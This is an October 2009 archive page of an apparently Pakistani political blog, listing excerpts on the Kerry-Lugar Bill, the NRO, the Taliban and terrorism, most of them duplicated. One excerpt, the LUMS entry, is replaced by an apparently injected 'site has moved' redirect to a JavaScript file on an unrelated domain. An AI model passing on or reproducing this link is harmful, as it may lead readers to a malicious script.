Monthly Archive:: October 2009

A view on Jamaat-e-Islami’s referendum on the Kerry-Lugar Bill: Asadullah Ghalib’s Analysis: PML-Q backs JI in ‘referendum’ ISLAMABAD: The PML-Q extended support to the Jamaat-e-Islami (JI) in a “referendum” the latter held against the Kerry-Lugar legislation. PML-Q leaders Kamil Ali Aga and Marvi Memon also voted against the
A view on Jamaat-e-Islami’s referendum on the Kerry-Lugar Bill: Asadullah Ghalib’s Analysis: PML-Q backs JI in ‘referendum’ ISLAMABAD: The PML-Q extended support to the Jamaat-e-Islami (JI) in a “referendum” the latter held against the Kerry-Lugar legislation. PML-Q leaders Kamil Ali Aga and Marvi Memon also voted against the
The real story of NRO – an extensive analysis by Abbas Ather: First an editorial of Daily Times and a news item, which are followed by extensive seven-episode columns on NRO and Pakistani politics by Abbas Ather. A must read. NRO comes centre-stage As the National Reconciliation Ordinance (NRO) makes its
Defending the NRO – An extensive analysis by Abbas Ather: While many constitutional and legal experts as well as politicians of the PPP government have either shied away from or miserably failed in defending the rationale and necessity of the National Reconciliation Ordinance between Benazir Bhutto shaheed and General
Guest Column: Whither Press Freedom: By Qudrat Ullah With the advancement of information and communication technologies, the mass media has emerged as one of the most important organ of our everyday life, affecting the people in their daily lives and keeping them informed of
Whither Press Freedom – Guest post by Qudrat Ullah: By Qudrat Ullah With the advancement of information and communication technologies, the mass media has emerged as one of the most important organ of our everyday life,
7 Months, 10 Days in Taliban’s Captivity: Story of David Rohde: Here is a five-part series offering a first-person account by David Rohde of his seven months as a captive of the Taliban in Pakistan. Mr. Rohde, a New York Times reporter, was kidnapped with two Afghan colleagues on Nov.
7 Months, 10 Days in Taliban’s Captivity: Story of David Rohde: Here is a five-part series “Held by the Taliban” offering a first-person account by David Rohde of his seven months as a captive of the Taliban in Pakistan. Mr. Rohde, a New York Times reporter, was kidnapped with two
The future government of Pakistan – by Nazir Naji: Nazir Naji identifies some possible names for a future idealistic government of Pakistan comprising some of the ‘most capable’ persons as identified in various TV talk-shows. President: General Hamid Gul Prime Minister: Munawar Hasan Minister for Religious Affairs: Imran
The future government of Pakistan – by Nazir Naji: Related post: صحافیوں کی نگران حکومت: ندیم سعید کا کالم Nazir Naji identifies some possible names for a future idealistic government of Pakistan comprising some of the ‘most capable’ persons as identified in various TV talk-shows. President: General Hamid
This is our war – An analysis by Ayaz Amir: A make-or-break moment for Pakistan Islamabad diary Friday, October 23, 2009Ayaz Amir Kashmir 1947-48 was the only necessary war we fought. It gave us the parts of Kashmir now in our possession. The 1965 war was a delusional general’s
The attack on Islamic university in Islamabad: From General Zia to Imran Khan: IIU, me and you The Pakistan report card Thursday, October 22, 2009Fasi Zaka Several months ago, I was invited to speak at a seminar at the women’s campus of the International Islamic University (IIU). It was, to say at
The attack on Islamic university in Islamabad: From General Zia to Imran Khan: IIU, me and you The Pakistan report card Thursday, October 22, 2009Fasi Zaka Several months ago, I was invited to speak at a seminar at the women’s campus of the International Islamic University (IIU). It was, to say at
Code of conduct for Pakistani media. Don’t glorify terrorism.: By: Abdul Nishapuri The following code of conduct has been designed in view of certain segments of Pakistani media’s irresponsible behavior and projection of terrorists and militants as heroes in the eyes of fellow Pakistanis and the world. On
Code of conduct for Pakistani media: Don’t glorify terrorism: By: Abdul Nishapuri The following code of conduct is proposed in view of irresponsible behavior and projection of terrorists as heroes and propagation of hate speech and incitement to violence in certain segments of Pakistani media.  Many of us
LUMS cited in the Christian Science Monitor for all the wrong reasons: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
LUMS cited in the Christian Science Monitor for all the wrong reasons: Top Pakistan university to ban kissing The Lahore University of Management Sciences promises to prohibit public displays of affection after a highly publicized peck on the cheek exposed deep fissures in Pakistani
Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ دنوں آرمی چیف جنرل اشفاق پرویز کیانی سے
Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ
Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And financing many of
Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And
Who are the Punjabi Taliban?: Muhammad Amir Khakwani On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled with the question of how
Who are the Punjabi Taliban?: Articles by Nasir Jamal and Muhammad Aamir Khakwani: On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled
What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only
What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only
Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the
Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the
Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic state:
Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic
Shaheed General Zia-ul-Haq: Tahir Sarwar Mir: From Shaheed Zia-ul-Haq to Azeezi Imran Khan – A parody of Haroon-ur-Rasheed’s column by Waqar Khan Daily Aaj Kal
Shaheed General Zia-ul-Haq: Tahir Sarwar Mir:
Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project
Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project
Kerry-Lugar Bill and our “Ghairat”: Abdul Qadir Hassan: A column against Hussain Haqqani Nazir Naji Kerry-Lugar and our response Dissenting Note Friday, October 16, 2009Dr Masooda Bano AThe stiff response of the Pakistani military leadership to the Kerry Lugar Bill has led to the
Kerry-Lugar Bill and our "Ghairat": Here are a few op-eds on Kerry Lugar Bill:
The Punjabi Taliban and the Ostrich of Punjab: Shahbaz Sharif: ریت میں سر چھپانا مسئلے کا حل نہیں عبدالحئی کاکڑ بی بی سی اردوڈاٹ کام، پشاور لاہور اور اس کے گرد و نواح میں ہونے والی دہشتگردانہ کارروائیوں میں درجنوں ہلاک ہو چکے ہیں لاہور میں چند ہی گھنٹوں
Govt-run FM radios in FATA may go off air: Fata’s FM stations Dawn Editorial Thursday, 15 Oct, 2009 (Dawn) Given that the army is poised to take its operation against the militants into Fata, the value of such public-domain, state-run radio stations cannot be overestimated. –AP/ File photo
Govt-run FM radios in FATA may go off air: Fata’s FM stations Dawn Editorial Thursday, 15 Oct, 2009 (Dawn) Given that the army is poised to take its operation against the militants into Fata, the value of such
Thank you, PPP Government, for removing extraordinary privileges to visiting US officials: Rites of passage Thursday, October 15, 2009 A positive step has been taken by removing extraordinary privileges extended to US officials by the government of former president Musharraf. These included the right to bring in baggage without checks, enter
Thank you, PPP Government, for removing extraordinary privileges to visiting US officials: Rites of passage Thursday, October 15, 2009 A positive step has been taken by removing extraordinary privileges extended to